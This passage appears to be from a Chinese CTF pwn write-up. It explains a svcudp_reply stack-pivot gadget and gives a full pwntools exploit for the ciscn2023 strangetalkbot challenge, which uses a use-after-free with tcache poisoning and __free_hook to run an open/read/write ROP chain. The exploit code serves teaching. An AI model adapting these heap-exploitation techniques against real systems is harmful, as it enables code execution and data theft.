fake_IO_file = fake_IO_file.ljust(0x300, b'\x00') + ropchain # then call this

add(3, 0x3b0)
add(4, 0x3b0)
free(4)
free(3)
edit(3, p64(((heap_base+0x20000)>>12)^target))
# gdb.attach(io)
# pause()
add(5, 0x3b0, fake_IO_file)
add(6, 0x3b0, p64(chunk_addr))
# gdb.attach(io)
# pause()
_exit()

io.interactive()

类似的 magic_gadget 可以用 ROPgadget 来找

1
ROPgadget --binary ./libc.so.6 --only "mov|call"

0x02 利用 svcudp_reply

1
2
3
4
5
6
<svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]

libc.sym['svcudp_reply']+26处有这样的gadget,可以通过rdi来控制rbp,从而控制rax,进而可以控制程序执行到leave;ret实现栈迁移也就劫持了rsp,那么就可以进行ROP了。对于house of apple2而言是进行ROP的利器
ciscn2023 strangetalkbot为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
ssize_t v3; // rsi
_QWORD *v4; // [rsp+8h] [rbp-8h]

initial();
while ( 1 )
{
memset(&s_, 0, 0x400uLL);
puts("You can try to have friendly communication with me now: ");
v3 = read(0, &s_, 0x400uLL);
v4 = (_QWORD *)sub_192D(0LL, v3, &s_);
if ( !v4 )
break;
heap_menu(v4[3], v4[4], v4[5], v4[6], v4[7]);
}
error(0LL, v3);
}

逆向后需要根据protobuf来交互,这里略去
解决交互后就是一个菜单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall heap_menu(
__int64 n4,
unsigned __int64 n0x20,
unsigned __int64 n0xF0_1,
unsigned __int64 n0xF0,
__int64 src)
{
unsigned __int64 size; // [rsp+18h] [rbp-18h]

size = n0xF0_1;
if ( n0x20 > 0x20 )
error();
if ( n0xF0 > 0xF0 )
error();
if ( n0xF0_1 > 0xF0 )
error();
if ( (__int64)n0xF0_1 < (__int64)n0xF0 )
size = n0xF0;
if ( n4 == 4 )
return (__int64)delete(n0x20);
if ( n4 > 4 )
goto LABEL_19;
if ( n4 == 3 )
return show(n0x20);
if ( n4 == 1 )
return (__int64)add(n0x20, size, n0xF0, (const void *)src);
if ( n4 != 2 )
LABEL_19:
error();
return (__int64)edit(n0x20, n0xF0, (const void *)src);
}

增删查改,有uaf,限制chunktcache中,题目开启沙箱,我们利用svcudp_reply+26将栈迁移到堆,进行ROP。注意利用add rsp ; retgadget来调整rsp,方便我们在堆中布置ROP的同时满足svcudp_reply+26的要求
这里不知为何libc.sym['svcudp_reply']解析会出错,调试时候这个符号是存在的;exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
from pwn import *
import varint
import sys

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6_2.31-0ubuntu9.9_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "node4.anna.nssctf.cn"
port = 28014
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6-dbg_2.31-0ubuntu9.9_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/glibc-source_2.31-0ubuntu9.9_all/usr/src/glibc/glibc-2.31
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
def Mode(m):
return b'\x08'+varint.encode(m<<1)

def Ind(i):
return b'\x10'+varint.encode(i<<1)

def Size(s):
return b'\x18'+varint.encode(s<<1)

def Data(d):
return b'\x22'+varint.encode(len(d))+d


def add(idx, size, data = b''):
payload = Mode(1) + Ind(idx) + Size(size) + Data(data)
io.sendafter("now: \n", payload)

def edit(idx, data):
payload = Mode(2) + Ind(idx) + Size(0) + Data(data)
io.sendafter("now: \n", payload)

def show(idx):
payload = Mode(3) + Ind(idx) + Size(0) + Data(b'')
io.sendafter("now: \n", payload)

def free(idx):
payload = Mode(4) + Ind(idx) + Size(0) + Data(b'')
io.sendafter("now: \n", payload)

add(0x1f, 0x30)
add(0x20, 0x30)
free(0x1f)
free(0x20)
show(0x20)
heap_base = (u64(io.recv(6).ljust(0x8, b'\x00')) >> 12) << 12
log.info("heap_base --> "+hex(heap_base))

add(0, 0xf0)
add(1, 0xf0)

for i in range(7):
free(0)
edit(0, b'a'*0x10)

free(1)
show(1)

io.recv(0x50)
libc_base = u64(io.recv(6).ljust(0x8, b'\x00')) - 0x1ecbe0
log.info("libc_base --> "+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
#setcontext = libc_base + libc.sym['setcontext'] + 61
magic_gadget = libc_base + 0x154dea # libc_base + libc.sym['svcudp_reply'] + 26

edit(0, p64(free_hook))
add(2, 0xf0) # previous 0
add(3, 0xf0, p64(magic_gadget)) # __free_hook
add(4, 0xe0) # stack pivot to here
add(5, 0xe0) # free this

chunk_addr = heap_base + 0xdc0 + 0x10 # 4
chunk_addr2 = heap_base + 0xf00 + 0x10 # 5
log.info("chunk1 --> "+hex(chunk_addr))
log.info("chunk2 --> "+hex(chunk_addr2))
leave_ret = libc_base + 0x578c8
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + 0x23b6a
pop_rsi_ret = libc_base + 0x2601f
pop_rdx_ret = libc_base + 0x142c92
add_rsp_ret = libc_base + 0x47869 # add rsp, 0x18 ; ret
ret = pop_rdi_ret + 1

flag_addr = chunk_addr + 0x20
ropchain = p64(pop_rdi_ret) + p64(flag_addr) +\
p64(pop_rsi_ret) + p64(0) + p64(open_addr) +\
p64(pop_rdi_ret) + p64(3) +\
p64(pop_rsi_ret) + p64(heap_base + 0x300) +\
p64(pop_rdx_ret) + p64(0x50) + p64(read_addr) +\
p64(pop_rdi_ret) + p64(1) +\
p64(pop_rsi_ret) + p64(heap_base + 0x300) +\
p64(pop_rdx_ret) + p64(0x50) + p64(write_addr)
payload = b''
payload = payload.ljust(0x8, b'\x00') + p64(add_rsp_ret)
payload = payload.ljust(0x18, b'\x00') + p64(chunk_addr2) # rax
payload += b'./flag\x00\x00'
payload += ropchain
edit(4, payload)

payload = b''
payload = payload.ljust(0x28, b'\x00') + p64(leave_ret) # call this
payload = payload.ljust(0x48, b'\x00') + p64(chunk_addr) # rbp
edit(5, payload)

free(5)

io.interactive()
#NSSCTF{62b59ec2-2a86-493c-8095-42860ddd07ae}